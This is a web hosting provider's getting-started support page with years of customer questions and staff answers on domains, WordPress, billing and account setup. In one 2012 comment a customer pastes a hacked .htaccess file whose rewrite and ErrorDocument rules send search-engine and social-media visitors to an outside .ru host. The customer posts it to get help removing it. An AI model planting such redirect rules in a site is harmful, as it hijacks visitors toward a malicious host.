Welcome, we'd like to thank you for choosing Web Hosting Hub for your hosting needs! Now that you're here, we'd like to also take a moment and make sure you start off in the right direction.

Website:

New users will most often be either migrating an existing website to our servers or creating a new website from scratch. No matter which category you fall into, at this time you should review our Website Getting Started Guide.

Email:

Your hosting account includes an unlimited number of email addresses. No matter how many associates in your company you need to create email accounts for, you're covered. Whether you're setting these email accounts up for the first time or you need to migrate them as they currently exist at your previous host, please see our Email Getting Started Guide.

cPanel & AMP (a quick guide to our System):

cPanel (control panel) has always been included with all accounts. cPanel is the system you log into when you need to manage your hosting account, such as when you need to create email addresses or work with databases. What cPanel lacks however is the ability to do anything billing related, such as register for new domain names or puchase an SSL certificate. We're very proud to announce our new Account Management Panel (AMP). AMP steps in and allows you to do what cPanel doesn't. cPanel helps you control your hosting account, while AMP handles the billing side of things.

More information on the two systems can be found at cPanel vs. AMP.

Password Help:

Everyone forgets usernames / passwords for one reason or another, even we do it! It may be a good idea to bookmark the following links for future reference:

If You Need Help:

We understand that everyone needs help when it comes to web hosting. In fact, that's a key principal of our founding. Our goal is to provide the best Technical Support in the industry. We know the value of having a website, and we also understand that not everyone has a degree or experience in Web Development. If you need help, we're here for you. We have thorough online help which includes Website Tutorials, Email Tutorials, and also Domain Name Guides. We also have extensive step by step guides in our Education Channels and we have a Customer Community where you can ask any questions you may have. As always, we're available 24/7 via phone, live chat, and email.
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Comments

2012-02-27 9:08 am
Hello Support Team,

How can u help me with my new web hostings and domain step by step? .. Can you show me how can get old domain/website from godaddy www.vp-listings.com transfer to new website @ webhostinghun www.vp-listings.com?
Thanks
Harold
n/a Points
2014-09-11 6:25 am

l have had 9.19 taken out of my account ,this was cancelled last year. it under ****** *******. not happy it as been taken from my account when it was cancelled l mcgrath

Staff
10,592 Points
2014-09-11 9:51 am
Hello lorraine,

Thank you for contacting us today. This is just our public forum. If you have any questions regarding your specific account/Billing, please contact Live Support.

They are available 24/7 365 days a year.

Thank you,
John-Paul
Staff
13,688 Points
2012-02-27 12:01 pm
Hello vp-listings,

Thank you for your questions regarding transferring your domain and website to Web Hosting Hub. Step-by-step instructions for transferring your site files to us can be found in our Getting Started Guide - Transferring Your Website

If you have any questions or need any additional assistance, please feel free to submit a question in our Support Center

Regards,

Christi N.
2012-07-27 4:19 pm
Hi
I need help my site hasbeen hacked via htaccess file when i delete the code it just comes back i even repalaced the htaccess file but still the same i have the code thats in the htaccess file there is a file called cgi-bin there is a php file that has a code that does not look normal is are the codes htaccess code

RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)

RewriteRule ^(.*)$ http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com [R=301,L]

RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)

RewriteRule ^(.*)$ http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com [R=301,L]
ErrorDocument 400 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 401 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 403 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 404 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 500 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com the php code

a:2:{s:6:"output";s:0:"";s:6:"result";a:5:{s:6:"visits";i:404;s:6:"guests";i:102;s:7:"members";i:0;s:4:"bots";i:302;s:8:"lasttime";i:1343001600;}}

please advice what to do i am a new be in webdesign usig joomla 1.5.26 version

thanks
haroon ismail
Staff
14,678 Points
2012-07-27 6:27 pm
Hello Vp-listings,

My apologies, I initially put in the wrong reply for you issue. I have been looking at your site files, but based on what you have said, I'm not sure which site you're referring to since you have several different installations there. I see a wordpress installation and another website installation. Can you specify which installation is having the problem? I don't see an issue when I go to your temp url . Definitely clear all of your .htaccess files for now. Currently, when I go to your website, I'm not seeing any evidence of a hack. The CGI-BIN is a default folder - so it sould be there.

Please reply to this with further information on your website and we can take a closer look at what's happening.

If you have any further questions, please contact technical support or leave a comment at the bottom of the page.

Regards,

Arnel C.
2012-10-09 3:40 pm
Dear support team,

I am a new customer and try to login into my cPanel. It is not very intuitive, but I understood I need to reset my apparently randomly assigned password. I did and despite this, I still get the Login Attempt Failed! I thought it might have been a typo, so I have reset the password again, and no matter how I try, I still cennot login.

Why is this?

Thanks for your assistance.
Staff
14,498 Points
2012-10-09 3:47 pm
Hello ebudisk,

I am able to get into your cpanel (although with our admin password) so the cpanel itself is functional.

It may be that the cpanel password reset did not work as it should. We can set reset the password for you. To do so, you would need to contact our support department at support@webhostinghub.com with that request. Be sure to validate your account with either the last 4 digits of the credit card on file, or the current Account Management Panel (AMP) password.re if you like. Be sure to specify whether you want a particular password or a randomly generated one.

Best Regards,
Scott M
2013-01-28 1:39 am
Not at all easy to move around on this site, nothing made easy to start. The tutorial videos dont play sound for me, and its not my system, even the info button makes sounds but videos dont. So far Ive seen nothing but features and no simple easy access to my site
Staff
3,713 Points
2013-01-28 1:41 pm
Hello Lyndon, sorry to hear that you're having some problems getting started with our hosting.

The Flash video tutorials on our website don't have sound so it's not just your computer, most of the videos just walk through step by step where you need to click in the cPanel interface to accomplish certain tasks.

Was there a particular thing you were trying to do that you've been unable to find help for? You can utilize the Search box filled in with How may we help? to locate documentation for most web hosting related topics. You can also use the menu navigation at the top of our support center. For instance you can hover over Website above, then click on WordPress to review our collection of WordPress documentation.

I see looking at your account files that you've already managed to install WordPress and have it up and running on your website. If you needed to login to access your WordPress dashboard where you make your posts and pages this can be done by placing /wp-admin at the end of the URL following your domain name. Then you would need to enter in your WordPress admin user's credentials to gain access.

You can also view our full WordPress education channel for more helpful documentation on WordPress.

If you had any specific questions about something that you're attempting to do please also feel free to ask a question to our community support forum for further assistance.

- Jacob
2013-09-04 5:57 am
Hello,

My site has several problems.

Send spam.
inode-count.

First, your wordpress installed located on http://www.mno3.com was sending out spam via /home/mno3/public_html/wp-content/uploads. For that we have suspended both web and out going mail to stop the abuse. To fix this issue you should re-upload the affected wordpress files.
Staff
14,678 Points
2013-09-04 12:21 pm
Hello Mno3.com,

Sorry to hear about the website problems. I'm not sure if you are referring to a site being hosted with us because mno3.com is not hosted with Web Hosting Hub. We would need more information on the account if you are referring to a website hosted with us.

The inode count issue would need to be fixed by the host- you can not edit this number unless you have root access to the server. In terms of the spam issue, it's very possible that your WordPress site might be compromised. This could happen if you have out of date versions of WordPress or plugins running on our your site. For more information on upgrading Wordpress or its plugins go to:

Updating WordPress
Updating WordPress Plugins

Hopefully, this will help to clear up your issues.

Regards,
Arnel C.
2013-11-04 9:21 pm
How do I cancel my account?
2013-11-04 9:24 pm
I can't find how to cancel future shipments, & my account.
Staff
3,713 Points
2013-11-05 7:16 am
Hello camerabuster,

Sorry to hear you need to cancel your account. You can review our guide on how do I cancel my hosting account for full details.

If there was anything else at all we could help you with, please let us know.

- Jacob
2014-02-16 5:13 pm
I am having a very hard time connecting via Cute FTP. No matter what I am putting in for the host address, username and Password, nothing is connecting. Help
Staff
2,342 Points
2014-02-17 10:04 am
Hello melon804,

Could you clarify what specific errors you are getting? You may also want to contact technical support as well as they will be able to give you specific information for your account that we cannot do via a public forum.
2014-02-17 10:50 am
I think I may have figured it out. I have other questions, but will ask tech support. Thanks for being here for us newbies.
n/a Points
2014-03-08 12:54 pm

Hello ! 

to day i've got problem with my wordpress !  i'm trying to login in to my dashboard but not happned. i've changed my username and password but also not work and i can't login again.  would mine to help what should i do?

Staff
2,342 Points
2014-03-10 10:42 am
Hello Zaher,

Could you clarify what kind of errors you are getting?
n/a Points
2014-03-11 4:46 pm

I was just curious if you allow the use of dropshipping through your site? Also would you guys allow the integration of an EDI system?  If yes to these what are you requirements for dropshipping and which EDI systems do you guys support?  I am currently working on a capstone project for my undergrad degree and we are working to find a web hosting solution for our client that needs these functionalities that she currently is not getting from the web hosting service she currently uses.

Staff
10,592 Points
2014-03-12 9:41 am
Hello Kansas,

Thank you for your question. Yes, you can do dropshipping through your website hosted with us. We have many options for designing a shopping cart system, such as PrestaShop, OpenCart, ZenCart, and OsCommerce. You can even use Wordpress with an e-commerce plugin, or Joomla with the VirtueMart addon.

These are all included for free within Softaculous, along with many other software options.

I am not completely familiar with the term EDI, but I believe you are asking about the payment gateway. For this case, you can use paypal, or authorize.net, for example; but it will depend which software you use to design your site. Most e-commerce software options are compatible with the major payment gateways.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
2014-04-22 8:53 pm
Quick question: How do I take the under construction page down, now that my website is up?
Staff
14,678 Points
2014-04-22 9:32 pm
Hello Staciasymone,

Typically, you need to remove the index file that you setup for the construction page. The first page that is typically accessed by the web server is the index page. Check out this article on setting up Under Construction pages. This identifies the index files for you. You can then use the cPanel file manager in order to rename or delete the file. Your normal site will normally have it's own index file - you will need to make sure that file remains on your site.

If you require further assistance, please provide us more information on your website and we would be happy to look further into the issue for you.

Regards,
Arnel C.
n/a Points
2014-04-23 6:32 pm

Hi, I installed Wordpress to my site and have begun customising via the dashboard, but when I visit my site to review my changes it says "website still under construction" . Please advise 

Staff
14,678 Points
2014-04-23 7:02 pm
Hello Julia,

If you're still seeing "website under construction" there are several possibilities:


  • The domain was recently registered and still undergoing propagation.

  • You did not select the domain name during the installation of WordPress

  • You're using a different URL than the one that you set during the installation of WordPress



Double-check your WordPress installation URL. If you specified a folder during the installation, then it will affect the URL that you are using to access the site. We do have articles on how to change the WordPress URL or Move a WordPress installation to a different folder.

I hope that helps to clarify the issue. If you have any further questions, please provide us some further information on your website such as the URL or account name.

Regards,
Arnel C.
n/a Points
2014-04-26 2:29 pm

I am trying to set up a blog.  I have a domain, and it's been purchased and registered.  When I try to download Wordpress, it's wanting me to purchase another domain.  How do I create my blog?  

Staff
10,592 Points
2014-04-28 11:28 am
Hello Jeff,

I am not sure how you are downloading Wordpress, but I recommend installing Wordpress using Softaculous, and simply selecting your domain in Step 4.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
n/a Points
2014-05-07 1:25 am
  1. Hi there! Does your plan bill us per month or per year? 
Staff
10,592 Points
2014-05-07 8:50 am
Hello Daniel,

Thank you for your question. We offer 1, 2 , and 3 year payment plans. At this time we do not offer any monthly options.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
n/a Points
2014-05-27 10:11 pm

Hi!

I have a website up and running.. awesome!  But now i would like to add a completely different website.  I registered the domain with you, and i also added an addon domain.  One bird with two stones?

Anyway..

How do i make the website for the new domain?  I used wordpress for the first website.

Any help would be great!  Thanks!!

Staff
2,342 Points
2014-05-28 8:02 am
Now that you have added the new addon domain, it will now show up in Softaculous for your to install WordPress on. Simply go into Softaculous and during the installation steps for WordPress, you will see a dropdown that will list any domains that you have configured.
n/a Points
2014-05-29 5:13 pm

I set up an account with yourselves and it was going throughthe verification process. I now wish to cancel this and do not want any money to be debited from my account. Can someone do this asap as i want it resolved quickly.

thanks

Staff
14,678 Points
2014-05-29 5:31 pm
Hello Nadia,

If you wish for this issue to be handled immediately, you need to contact the Billing department. Per the notes on the account, however, your account is unconfirmed, so the issue was forwarded to the sales team who would void the transaction. This is confirmed in your account. These type of transactions do need to be handled through the Sales or Billing teams as they are typically private issues - posts on this website are public. If you require immediate aid, contact our support/billing/sales via phone or chat (as per the contact information at the bottom of the page).

Kindest regards,
Arnel C.
n/a Points
2014-06-12 7:51 am

Hi,

 

How safe is using your SSL for ecommerce since the Heartbleed bug and now the new ChangeSipherSpec bug ?

 

Thsnks

Staff
2,342 Points
2014-06-12 8:25 am
Our servers are fully patched from any known SSL vulnerabilities.
n/a Points
2014-06-18 1:22 am

Hey i have purchased a domain from you ' paagals.com' on 18/06/2014 and now i want to immideatly cancel it and get my money back as there is 90 days money back policy. so please let me know the procedure.

 

Staff
2,342 Points
2014-06-18 8:39 am
To cancel services and receive more information about potential refunds available, you will need to contact technical support for more information as we cannot make changes to your account via this public forum.
n/a Points
2014-06-26 6:23 pm

I purchased a web domain from you and when I try to get it to open it brings up another unitedfarmeq.com that is in California. What do I do?

Staff
3,713 Points
2014-06-26 6:44 pm
Hello Dennis,

Unfortunately I'm not sure what kind of problem you'd be having. It looks like when I go to that website it is a WordPress website hosted on our server.

If you're still having issues I'd recommend clicking on Support Chat at the top-right of our website so you can work with someone live to see what the problem might be on your computer.

- Jacob
n/a Points
2014-07-11 8:10 pm
Is there a way to streamline how to start with say an itemized step by step set-up?!?!?
Staff
10,592 Points
2014-07-14 11:45 am
Hello Teresa,

Thank you for your question. This guide just contains links to several getting started guides, so it depends what you are trying to accomplish. These will usually get you going:These tutorials are very popular, and should help explain the process. If you need more detailed assistance, it may be easier to contact Live Tech Support, since they are available 24/7.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul
n/a Points
2014-08-22 7:46 pm

How do I find the Wordpress Dashboard?

Staff
14,678 Points
2014-08-22 9:36 pm
Hello Kat,

If you need instruction on how to get to the WordPress dashboard, please see How to Login to the WordPress Administrator dashboard.

Regards,
Arnel C.
n/a Points
2014-09-15 7:39 pm

Hi support team,

i need help! I'm new and have NO clue how to set up pintrest and Facebook to my page... Please help me figure this out. Thanks!

Staff
14,678 Points
2014-09-15 8:15 pm
Hello Dudeknowsfood,

Thanks for the question. In reviewing your website, it appears you're using WordPress. One of the nice things about WordPress is that when you want to add something (like FB or Pinterest), it's usually as simple as finding a plugin. There are MANY different plugins for both Facebook and Pinterest, so you're going to have to make a decision. Read through the descriptions and select the one that best meets your needs. You can load plugins by simply logging into your WordPress Admin and then going to the Plugins section to add a new one. Here are the search results that I found by looking at the wordpress.org site:

Pinterest Plugins
FaceBook Plugins

I hope that helps to clear it up. Just follow the directions for the plugin you select and you'll be able to proceed. Let us know if you still have any further questions.

regards,
Arnel C.
n/a Points
2014-09-23 12:10 pm
This is a short introductory article not sure how you could improve this possibly putting links in lists instead of in the paragraphs
n/a Points
2014-09-24 12:40 am

Is there any way to use selected icons only in whhg.css? If I'm using whole icons means it's take more time to load that font. But I'm using only 50 - 60 icons. 

Staff
2,342 Points
2014-09-24 11:26 am
Unfortunately, your question is very vague. Could you please clarify what exactly you are referring to?
n/a Points
2014-09-24 10:05 pm
I live in Athens, Greece. I am looking for a hosting service to run two-three fairly simple interconnected websites. I have one Greek (.gr) domain name already registered (which needs a host) and plan to buy/register two .com domains, possibly via Hub.
 
I see you offer 24/7 support in US. My quetion is: Does your hosting service cover Greece?
Staff
14,498 Points
2014-09-25 7:30 am
Hello Liz,

Yes, we have customers all over the world. We always welcome new customers from Greece!

Kindest Regards,
Scott M
n/a Points
2014-09-27 3:29 am

Do you have people that will just make the website for me?  I seem to be having a really difficutlt time getting this going and i'm running out of time.

Staff
14,498 Points
2014-09-28 8:44 am
Hello Jose,

Yes, we do have website design services. You can contact them to see if they can meet your design needs.

Kindest Regards,
Scott M
n/a Points
2014-09-27 4:24 pm

IM LOST! I want to build a page to sell 1 thing and advertise our business....What is the best things to use and how do I get to it to start making the page. This has been way to hard! 

 

Staff
14,498 Points
2014-09-28 8:48 am
Hello Kisha,

Web design may be simple, but it is definitely not easy, especially when you want to sell thngs (even 1 thing) online. It may seem like overkill, but you will likely do best by setting up an e-commerce site by using a tool like PrestaShop.

A much simpler site can be set up if you know how to code, but if you do not, then the e-commerce is the fastest and cheapest way to go.

Kindest Regards,
Scott M
n/a Points
2014-09-30 8:40 am
It would help a great deal if an idea of the Total cost is shared, even if it is an approximate. This way one could establish if it is an affordable way to go.
Staff
10,592 Points
2014-10-13 9:31 am
Hello Ralton,

Thank you for contacting us. Everything described on this page is included in your Web Hosting package.

The prices depend on which plan you sign up for. You can see our Hosting Plans, and prices here.

If you have any further questions, feel free to post them below.

Thank you,
John-Paul
2014-10-13 3:31 am
I'm a Technical Personnel and would like to work in the Technical department of Webhosting Hub attending to customer complaints.
Staff
10,592 Points
2014-10-13 9:40 am
Hello TosynHosh,

Thank you for your question. Webhosting Hub's sister company InMotion Hosting handles hiring. You can view open positions at www.inmotionhosting.com/careers

If you have any further questions, feel free to post them below.

Thank you,
John-Paul
n/a Points
2014-11-03 9:35 pm
I could not, at this time, determine any way to improve this article. Maybe I would have a better idea after I have journeyed a little deeper.
n/a Points
2014-11-13 1:20 pm
It's just fine so far the way it is.
2014-11-17 8:18 am
Hello,
I wanted to start a new blog and tried to register under the name subodhvarma.org. The name was approved by your site but when I tried to fill the address field, your site objected to the name of my city that is Ghaziabad and the name of my state that is UP (Uttar Pradesh) and called it invalid. The country name is India. I then contacted your site through "start a chat" and was contacted by Patrick O. He assured me that he would help me and took my address etc. He then asked me to give the details of my VISA debit card that I did. The site hosting was supposed to cost me $57.87 for which I agreed. He assured me that the blog site would be operative within 24 hours. However, nothing has happened so far. Not even the amount is transferred from my bank account. Kindly help.
Staff
624 Points
2014-11-17 3:42 pm
Hello Subodhvarma,

I took a look and was not able to find your account based on the information you provided. If you could please contact our sales department as there may need to be further verification before your account becomes active. Their number can be found above or you may click to chat with our sales representative.

Kindest Regards,
TJ Edens
n/a Points
2014-11-17 11:37 pm

Hi, I have a parked domain with your hosting but web and email services do not work several days ago, someone can check their status and put online again.

Domain: segurimaxperu.com

 

Best regards.

Staff
14,498 Points
2014-11-18 9:42 am
Hello Gerardo,

I checked your site and email services and they are currently running fine. Are you still not seeing the website or able to get to your email login? If so, please contact our Live Support after performing a traceroute test and they may be able to assist you further.

Kindest Regards,
Scott M
n/a Points
2014-11-28 9:25 am

this is like Dedalo trying to get out of the labarynth...competely off mark for people (like me) who have a very basic IT understanding. I've managed to set up the email but I can't see my site and where do I find the tools (ie. background colours etc) to start to build it? Sorry but I'm not impressed

 

Staff
14,678 Points
2014-11-28 12:32 pm
Hello Lynn,

Sorry you're having problems getting started. The good thing is you were able to get email working. In regards to websites, it does appear that you're simply trying to find a software that lets you build a website from scratch. We don't support only ONE type of software to build a site from scratch. If you want a guide that takes you through building a simple website, then try the the Builder guide. If this solution is too simple and not a good fit, then you may want to look at one of the most widely used softwares for building websites on the internet: Wordpress.

We do take your comments seriously and will use them in our efforts to improve and re-build the Support Center website.

I hope this helps to provide an alternative. We do understand that you were frustrated in using this article, but we do hope the answers above provide you with an answer to your website needs. We do take your comment seriously,


If you require any further assistance, please let us know.

Regards,
Arnel C.
n/a Points
2014-12-13 4:30 pm
its quite fine does not need much improvement
n/a Points
2014-12-18 1:24 pm

hello, i just purchased a package and think i entered the wrong address i didn't understand do you my address where i live? because i don't live in the USA i entered my PO box address which is in the USA what i usually do when i buy anything online. i payed more than 140 $ so i need to make sure everything is going to work right . Thank You Dalal

Staff
10,592 Points
2014-12-18 1:54 pm
Hello Dalal,

Thank you for contacting us today. Since this is just our public forum, please contact Live Support, so they can help you update your address.

If you have any further questions, feel free to post them below.

Thank you,
John-Paul
n/a Points
2014-12-22 12:44 am

Hello Webhostinghub Team !

I am from VietNamese. 
I have registered a domain and free hosting from webhostinghub. I know how to authenticate via phone, but I speak English very bad. I can authenticate the information via email.
Thank you
 
 
 
 
Staff
14,678 Points
2014-12-22 10:27 am
Hello Nguyen,

Sorry for the problems with confirming via phone. We cannot conduct confirmation of an account through the Support Center. Please Submit a verified ticket to our support team and they will be able to assist you.

If you have any further questions or comments, please let us know.

Regards,
Arnel C.
n/a Points
2014-12-30 12:54 pm

Hi, just got this from you: We have been tracking high resource usage coming from your account with us and wanted to reach out to you before it becomes a problem affecting other customers.   Resource usage when taken to an extreme can sometimes lead to a suspension of the account depending on the severity of the issue, and this is something we deeply want to avoid.

I'm a wordpress newbie and have been using the Avada theme. All their demo content is still in my site but I'm the only one using the site while I update it with my own material. Could this have been the problem? Please advise. Thanks.

Staff
2,342 Points
2014-12-30 1:24 pm
Unfortunately, I cannot provide exact details to your account over this public forum, but I can try to help the best I can.

Are you running any additional plugins outside of the theme? You may want to take a look at those to see if they may be impacting you.

While the theme is fairly well built, it can be quite heavy on resources if you have a large amount of content loading in it. It could potentially be the large amount of sample data being loaded on the site.

Using a caching plugin such as W3 Total Cache can sometimes make a large difference in the performance of your site in which I highly recommend using one to keep your resource usage down.

If you have not yet done so, and would like exact details as to what may be causing the high resource usage on your account, I recommend responding to the email you received for more exact information on your resource usage.

In the future, you may also use the resource usage tool within cPanel to better understand your particular usage as well.
n/a Points
2015-01-01 12:00 am
It was informative
n/a Points
2015-01-01 2:32 pm

Hello, I wanted to create a blog and decided to go with your services. I created a domain yesterday. However, I no longer want to have a blog because I realized that it's not for me. I read something about a 90 day or your money back guarantee? What do I need to do remove my domain for good? and can I get my money back?

Staff
14,498 Points
2015-01-05 11:34 am
Hello Amber Marie,

We do have a 30 day refund policy, so you can simply contact our Live Billing department for that. However, domain names only have a 120 hour refund policy due to our registrar partner, so be sure to contact them soon if you also wish to get that refunded.

One thing, however. You are not limited to a blog for your site. You can create any type of site you want and can use one of almost 300 tools from the Softaculous suite. This includes WordPress, which can be used for much more than a blog, and Joomla, Drupal, and many others.

Kindest Regards,
Scott M
n/a Points
2015-01-03 12:18 am

hi 

this akshay .i had registered an freehosting and free domin. but my account

has not yet activated so please check it.

Staff
14,498 Points
2015-01-05 11:37 am
Hello Akshay,

The Confirmations team strives to get with all new accounts within about 30 minutes if possible. If you have signed up for an account and have not yet heard from the Confirmations department after about 30 minutes, you can reach out to them. They can then work with you to confirm the account.

Kindest Regards,
Scott M
n/a Points
2015-01-09 4:52 am

hello support team

 

Http://dtwuae.com:8443/ this is my website cpanel link i could not open this pls help to slove this problem

Staff
10,592 Points
2015-01-09 12:09 pm
Hello Rajesh,

Thank you for contacting us today. Since your site is not hosted on our server, it is difficult to say since i'm not sure how their server is setup.

I recommend checking that the account was created successfully in WHM.

Also make sure your DNS is pointed to your host correctly. Here is a link to our guide on pointing to WebHosting Hub. But, keep in mind if you are not hosted with us the settings will differ.

Thank you,
John-Paul
n/a Points
2015-01-10 10:24 pm

I am very new to this!  I purchased my site and believe I chose the auto install for wordpress....how do I start enter into word press?   I tried the down load and it listed a bunch of domains that already existed

thanks for your help

Staff
10,592 Points
2015-01-12 12:35 pm
Hello Rachelle,

Thank you for your question. After installing WordPress, you can Login to the WordPress Admin Dashboard, and begin building your website.

We also have a helpful WordPress Education Channel, to get you started.

If you have any further questions, feel free to post them below.

Thank you,
John-Paul
n/a Points
2015-01-14 11:24 am

Hi everyone!

I was hoping someone could tell me how long does it take for my account to be active? Thanks!

Staff
14,498 Points
2015-01-15 11:03 am
Hello Ana,

You should receive a confirmation contact, usually by phone, within 30 minutes of signing up. If they cannot reach you by phone, an email is typically sent. Be sure to check your spam folder just in case it gets sent there.

If you cannot find that, feel free to reach out to them as they may have several confirmations in the queue and by contacting them they will be able to go ahead and get you set up.

Kindest Regards,
Scott M
n/a Points
2015-02-04 11:16 am

My website comments are being overrun with spam comments. It seems I spend more and more time each day just clicking on spam comments. Is there an easy solution to filter out that junk?

Staff
14,678 Points
2015-02-04 11:37 am
Hello Jim,

You mentioned that your website is being overrun by spam comments. Spam is typically an email issue, but it can also leak over into blogs other website types through the comment spaces that you allow. Depending on the software that you used to build your website, there might be a plugin/extension/module that you can add to help take care of the issue. You may also want to consider implementing a recaptcha system in your webpage.

I hope this helps to answer your question, please let us know if you require any further assistance.

Kindest regards,
Arnel C.
n/a Points
2015-05-08 3:38 am

I purchased the spark package two days ago and I am still waiting for your feedback. I sent a quiry to you yesterday but still I got no feed back. Can you at least acknowledge.

Staff
14,498 Points
2015-05-08 9:40 am
Hello Travolta,

If our confirmations team is unable to get ahold of you within 30 minutes of placing an order, they will send an email. Please check your spam or junk section as they can sometimes end up there. You can always reach out to our Live Billing team to confirm at your convenience.

Kindest Regards,
Scott M
n/a Points
2015-07-13 1:36 am

People at webhostinghub. I need your help.

I have the domain www.academiahn.net and I need to install Moodle 2.7 but, when I install such software I get the error "Moodle 2.7 or later requires at least PHP 5.4.4 (currently using version 5.3.29). Please upgrade your server software or install older Moodle version."

What can I do?

Staff
14,498 Points
2015-07-13 2:33 pm
Hello Rafael,

Have you tried changing the php version of your account in the cPanel?

Kindest Regards,
Scott M

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